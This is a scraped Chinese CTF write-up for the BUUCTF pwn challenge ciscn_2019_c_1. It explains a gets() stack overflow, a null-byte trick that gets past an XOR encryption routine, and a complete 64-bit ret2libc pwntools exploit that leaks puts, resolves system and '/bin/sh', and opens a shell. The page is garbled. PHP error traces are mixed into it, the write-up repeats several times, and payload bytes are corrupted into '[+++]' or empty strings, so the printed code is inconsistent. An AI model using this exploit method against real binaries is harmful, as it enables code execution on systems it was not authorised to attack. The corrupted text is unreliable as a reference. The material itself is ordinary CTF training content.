Error[8]: Undefined offset: 3, File: /www/wwwroot/outofmemory.cn/tmp/plugin_ss_superseo_model_superseo.php, Line: 121
File: /www/wwwroot/outofmemory.cn/tmp/plugin_ss_superseo_model_superseo.php, Line: 473, decode(

1.checksec+运行

64位/NX保护

运行起来貌似很有意思,是一个加解密 *** 作

后来发现只能加密不能解密

2. 强大的IDA进行中 1.main函数

貌似看不出什么

2.encrypt函数

加密具体 *** 作

大小写字母/数字进行异或运算

发现gets()栈溢出

 s大小0x50

需要先把加密函数绕过

该函数的功能就是循环对输入的字符串进行加密,在加密前都有一个检查,只要v0的值大于或等于字符串的长度就跳出循环,通过strlen来计算字符串长度的,strlen计算字符串的长度是以’\0’作为终止符,在payload的开头加上’\0’就能绕过加密,这样我们写入的数据不会被改变

 while ( 1 )
  {
    v0 = (unsigned int)x;
    if ( v0 >= strlen(s) )    //通过这个if条件判断
      break;
    if ( s[x] <= 96 || s[x] > 122 )
    {
      if ( s[x] <= 64 || s[x] > 90 )
      {
        if ( s[x] > 47 && s[x] <= 57 )
          s[x] ^= 0xFu;
      }
      else
      {
        s[x] ^= 0xEu;
      }
    }
    else
    {
      s[x] ^= 0xDu;
    }
    ++x;
  }
  puts("Ciphertext");
  return puts(s);
}

接着分析

没有直接给出system和binsh

那么通过libc库泄露其地址,就是常规的ret2libc3

还有一个重要的点

这是64位的ret2kibc3,和之前32位的不一样

64位的先是通过寄存器传参rdi、rsi、rdx、rcx、r8、r9

32位的直接堆栈传参

Ropgadget找一下

ROPgadget --binary ./ciscn_2019_c_1 --only "pop|ret"

rdi=0x400c83

ROPgadget --binary ./7ciscn2019c1 --only "ret"

 

ret=0x4006b9 

最后,准备EXP 
from pwn import*
from LibcSearcher import*
p=process('./7ciscn2019c1')
#p=remote("")
elf=ELF("./7ciscn2019c1")


puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.sym['main']


rdi=0x400c83
ret=0x4006b9 

#第一次攻击绕过函数
p.sendlineafter('Input your choice!\n','1')
payload=b'[+++]'+b'a'*(0x50-1+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
p.sendlineafter('Input your Plaintext to be encrypted\n',payload)



p.recvline()	#接收字符串Ciphertext
p.recvline()    #加密后的密文
#这里注意需要接收2次

puts_addr=u64(p.recvuntil('\n')[:-1].ljust(8,b'[+++]'))  #得到 puts 函数 的地址
libc=LibcSearcher('puts',puts_addr) #获取libc的版本
offset=puts_addr-libc.dump('puts') #计算偏移量
binsh=offset+libc.dump('str_bin_sh') #计算字符串"/bin/sh"的地址
system=offset+libc.dump('system') #计算函数system的地址

#第二次攻击getshell

p.sendlineafter('Input your choice!\n','1')     #   再一次执行 一遍流程
payload=b'[+++]'+b'a'*(0x50-1+8)+p64(ret)+p64(rdi)+p64(binsh)+p64(system)
p.sendlineafter('Input your Plaintext to be encrypted\n',payload)
p.interactive()
一个需要注意的点 :

puts_addr=u64(p.recvuntil('\n')[:-1].ljust(8,b'\0'))  #得到 puts 函数 的地址

python3需要(b'char')发送

否则会报错

 ljust() argument 2 must be a byte string of length 1, not str

 

 cat flag

)
File: /www/wwwroot/outofmemory.cn/tmp/route_read.php, Line: 126, InsideLink()
File: /www/wwwroot/outofmemory.cn/tmp/index.inc.php, Line: 166, include(/www/wwwroot/outofmemory.cn/tmp/route_read.php)
File: /www/wwwroot/outofmemory.cn/index.php, Line: 30, include(/www/wwwroot/outofmemory.cn/tmp/index.inc.php)
Error[8]: Undefined offset: 4, File: /www/wwwroot/outofmemory.cn/tmp/plugin_ss_superseo_model_superseo.php, Line: 121
File: /www/wwwroot/outofmemory.cn/tmp/plugin_ss_superseo_model_superseo.php, Line: 473, decode(

1.checksec+运行

64位/NX保护

运行起来貌似很有意思,是一个加解密 *** 作

后来发现只能加密不能解密

2. 强大的IDA进行中 1.main函数

貌似看不出什么

2.encrypt函数

加密具体 *** 作

大小写字母/数字进行异或运算

发现gets()栈溢出

 s大小0x50

需要先把加密函数绕过

该函数的功能就是循环对输入的字符串进行加密,在加密前都有一个检查,只要v0的值大于或等于字符串的长度就跳出循环,通过strlen来计算字符串长度的,strlen计算字符串的长度是以’\0’作为终止符,在payload的开头加上’\0’就能绕过加密,这样我们写入的数据不会被改变

 while ( 1 )
  {
    v0 = (unsigned int)x;
    if ( v0 >= strlen(s) )    //通过这个if条件判断
      break;
    if ( s[x] <= 96 || s[x] > 122 )
    {
      if ( s[x] <= 64 || s[x] > 90 )
      {
        if ( s[x] > 47 && s[x] <= 57 )
          s[x] ^= 0xFu;
      }
      else
      {
        s[x] ^= 0xEu;
      }
    }
    else
    {
      s[x] ^= 0xDu;
    }
    ++x;
  }
  puts("Ciphertext");
  return puts(s);
}

接着分析

没有直接给出system和binsh

那么通过libc库泄露其地址,就是常规的ret2libc3

还有一个重要的点

这是64位的ret2kibc3,和之前32位的不一样

64位的先是通过寄存器传参rdi、rsi、rdx、rcx、r8、r9

32位的直接堆栈传参

Ropgadget找一下

ROPgadget --binary ./ciscn_2019_c_1 --only "pop|ret"

rdi=0x400c83

ROPgadget --binary ./7ciscn2019c1 --only "ret"

 

ret=0x4006b9 

最后,准备EXP 
from pwn import*
from LibcSearcher import*
p=process('./7ciscn2019c1')
#p=remote("")
elf=ELF("./7ciscn2019c1")


puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.sym['main']


rdi=0x400c83
ret=0x4006b9 

#第一次攻击绕过函数
p.sendlineafter('Input your choice!\n','1')
payload=b''+b'a'*(0x50-1+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
p.sendlineafter('Input your Plaintext to be encrypted\n',payload)



p.recvline()	#接收字符串Ciphertext
p.recvline()    #加密后的密文
#这里注意需要接收2次

puts_addr=u64(p.recvuntil('\n')[:-1].ljust(8,b'[+++]'))  #得到 puts 函数 的地址
libc=LibcSearcher('puts',puts_addr) #获取libc的版本
offset=puts_addr-libc.dump('puts') #计算偏移量
binsh=offset+libc.dump('str_bin_sh') #计算字符串"/bin/sh"的地址
system=offset+libc.dump('system') #计算函数system的地址

#第二次攻击getshell

p.sendlineafter('Input your choice!\n','1')     #   再一次执行 一遍流程
payload=b'[+++]'+b'a'*(0x50-1+8)+p64(ret)+p64(rdi)+p64(binsh)+p64(system)
p.sendlineafter('Input your Plaintext to be encrypted\n',payload)
p.interactive()
一个需要注意的点 :

puts_addr=u64(p.recvuntil('\n')[:-1].ljust(8,b'\0'))  #得到 puts 函数 的地址

python3需要(b'char')发送

否则会报错

 ljust() argument 2 must be a byte string of length 1, not str

 

 cat flag

)
File: /www/wwwroot/outofmemory.cn/tmp/route_read.php, Line: 126, InsideLink()
File: /www/wwwroot/outofmemory.cn/tmp/index.inc.php, Line: 166, include(/www/wwwroot/outofmemory.cn/tmp/route_read.php)
File: /www/wwwroot/outofmemory.cn/index.php, Line: 30, include(/www/wwwroot/outofmemory.cn/tmp/index.inc.php)
Error[8]: Undefined offset: 5, File: /www/wwwroot/outofmemory.cn/tmp/plugin_ss_superseo_model_superseo.php, Line: 121
File: /www/wwwroot/outofmemory.cn/tmp/plugin_ss_superseo_model_superseo.php, Line: 473, decode(

1.checksec+运行

64位/NX保护

运行起来貌似很有意思,是一个加解密 *** 作

后来发现只能加密不能解密

2. 强大的IDA进行中 1.main函数

貌似看不出什么

2.encrypt函数

加密具体 *** 作

大小写字母/数字进行异或运算

发现gets()栈溢出

 s大小0x50

需要先把加密函数绕过

该函数的功能就是循环对输入的字符串进行加密,在加密前都有一个检查,只要v0的值大于或等于字符串的长度就跳出循环,通过strlen来计算字符串长度的,strlen计算字符串的长度是以’\0’作为终止符,在payload的开头加上’\0’就能绕过加密,这样我们写入的数据不会被改变

 while ( 1 )
  {
    v0 = (unsigned int)x;
    if ( v0 >= strlen(s) )    //通过这个if条件判断
      break;
    if ( s[x] <= 96 || s[x] > 122 )
    {
      if ( s[x] <= 64 || s[x] > 90 )
      {
        if ( s[x] > 47 && s[x] <= 57 )
          s[x] ^= 0xFu;
      }
      else
      {
        s[x] ^= 0xEu;
      }
    }
    else
    {
      s[x] ^= 0xDu;
    }
    ++x;
  }
  puts("Ciphertext");
  return puts(s);
}

接着分析

没有直接给出system和binsh

那么通过libc库泄露其地址,就是常规的ret2libc3

还有一个重要的点

这是64位的ret2kibc3,和之前32位的不一样

64位的先是通过寄存器传参rdi、rsi、rdx、rcx、r8、r9

32位的直接堆栈传参

Ropgadget找一下

ROPgadget --binary ./ciscn_2019_c_1 --only "pop|ret"

rdi=0x400c83

ROPgadget --binary ./7ciscn2019c1 --only "ret"

 

ret=0x4006b9 

最后,准备EXP 
from pwn import*
from LibcSearcher import*
p=process('./7ciscn2019c1')
#p=remote("")
elf=ELF("./7ciscn2019c1")


puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.sym['main']


rdi=0x400c83
ret=0x4006b9 

#第一次攻击绕过函数
p.sendlineafter('Input your choice!\n','1')
payload=b''+b'a'*(0x50-1+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
p.sendlineafter('Input your Plaintext to be encrypted\n',payload)



p.recvline()	#接收字符串Ciphertext
p.recvline()    #加密后的密文
#这里注意需要接收2次

puts_addr=u64(p.recvuntil('\n')[:-1].ljust(8,b''))  #得到 puts 函数 的地址
libc=LibcSearcher('puts',puts_addr) #获取libc的版本
offset=puts_addr-libc.dump('puts') #计算偏移量
binsh=offset+libc.dump('str_bin_sh') #计算字符串"/bin/sh"的地址
system=offset+libc.dump('system') #计算函数system的地址

#第二次攻击getshell

p.sendlineafter('Input your choice!\n','1')     #   再一次执行 一遍流程
payload=b'[+++]'+b'a'*(0x50-1+8)+p64(ret)+p64(rdi)+p64(binsh)+p64(system)
p.sendlineafter('Input your Plaintext to be encrypted\n',payload)
p.interactive()
一个需要注意的点 :

puts_addr=u64(p.recvuntil('\n')[:-1].ljust(8,b'\0'))  #得到 puts 函数 的地址

python3需要(b'char')发送

否则会报错

 ljust() argument 2 must be a byte string of length 1, not str

 

 cat flag

)
File: /www/wwwroot/outofmemory.cn/tmp/route_read.php, Line: 126, InsideLink()
File: /www/wwwroot/outofmemory.cn/tmp/index.inc.php, Line: 166, include(/www/wwwroot/outofmemory.cn/tmp/route_read.php)
File: /www/wwwroot/outofmemory.cn/index.php, Line: 30, include(/www/wwwroot/outofmemory.cn/tmp/index.inc.php)
BUUCTF ciscn_C_内存溢出

BUUCTF ciscn

BUUCTF ciscn,第1张

1.checksec+运行

64位/NX保护

运行起来貌似很有意思,是一个加解密 *** 作

后来发现只能加密不能解密

2. 强大的IDA进行中 1.main函数

貌似看不出什么

2.encrypt函数

加密具体 *** 作

大小写字母/数字进行异或运算

发现gets()栈溢出

 s大小0x50

需要先把加密函数绕过

该函数的功能就是循环对输入的字符串进行加密,在加密前都有一个检查,只要v0的值大于或等于字符串的长度就跳出循环,通过strlen来计算字符串长度的,strlen计算字符串的长度是以’\0’作为终止符,在payload的开头加上’\0’就能绕过加密,这样我们写入的数据不会被改变

 while ( 1 )
  {
    v0 = (unsigned int)x;
    if ( v0 >= strlen(s) )    //通过这个if条件判断
      break;
    if ( s[x] <= 96 || s[x] > 122 )
    {
      if ( s[x] <= 64 || s[x] > 90 )
      {
        if ( s[x] > 47 && s[x] <= 57 )
          s[x] ^= 0xFu;
      }
      else
      {
        s[x] ^= 0xEu;
      }
    }
    else
    {
      s[x] ^= 0xDu;
    }
    ++x;
  }
  puts("Ciphertext");
  return puts(s);
}

接着分析

没有直接给出system和binsh

那么通过libc库泄露其地址,就是常规的ret2libc3

还有一个重要的点

这是64位的ret2kibc3,和之前32位的不一样

64位的先是通过寄存器传参rdi、rsi、rdx、rcx、r8、r9

32位的直接堆栈传参

Ropgadget找一下

ROPgadget --binary ./ciscn_2019_c_1 --only "pop|ret"

rdi=0x400c83

ROPgadget --binary ./7ciscn2019c1 --only "ret"

 

ret=0x4006b9 

最后,准备EXP 
from pwn import*
from LibcSearcher import*
p=process('./7ciscn2019c1')
#p=remote("")
elf=ELF("./7ciscn2019c1")


puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.sym['main']


rdi=0x400c83
ret=0x4006b9 

#第一次攻击绕过函数
p.sendlineafter('Input your choice!\n','1')
payload=b''+b'a'*(0x50-1+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
p.sendlineafter('Input your Plaintext to be encrypted\n',payload)



p.recvline()	#接收字符串Ciphertext
p.recvline()    #加密后的密文
#这里注意需要接收2次

puts_addr=u64(p.recvuntil('\n')[:-1].ljust(8,b''))  #得到 puts 函数 的地址
libc=LibcSearcher('puts',puts_addr) #获取libc的版本
offset=puts_addr-libc.dump('puts') #计算偏移量
binsh=offset+libc.dump('str_bin_sh') #计算字符串"/bin/sh"的地址
system=offset+libc.dump('system') #计算函数system的地址

#第二次攻击getshell

p.sendlineafter('Input your choice!\n','1')     #   再一次执行 一遍流程
payload=b''+b'a'*(0x50-1+8)+p64(ret)+p64(rdi)+p64(binsh)+p64(system)
p.sendlineafter('Input your Plaintext to be encrypted\n',payload)
p.interactive()
一个需要注意的点 :

puts_addr=u64(p.recvuntil('\n')[:-1].ljust(8,b'\0'))  #得到 puts 函数 的地址

python3需要(b'char')发送

否则会报错

 ljust() argument 2 must be a byte string of length 1, not str

 

 cat flag

欢迎分享,转载请注明来源:内存溢出

原文地址: https://outofmemory.cn/langs/579114.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-04-11
下一篇 2022-04-11

发表评论

登录后才能评论

评论列表(0条)

保存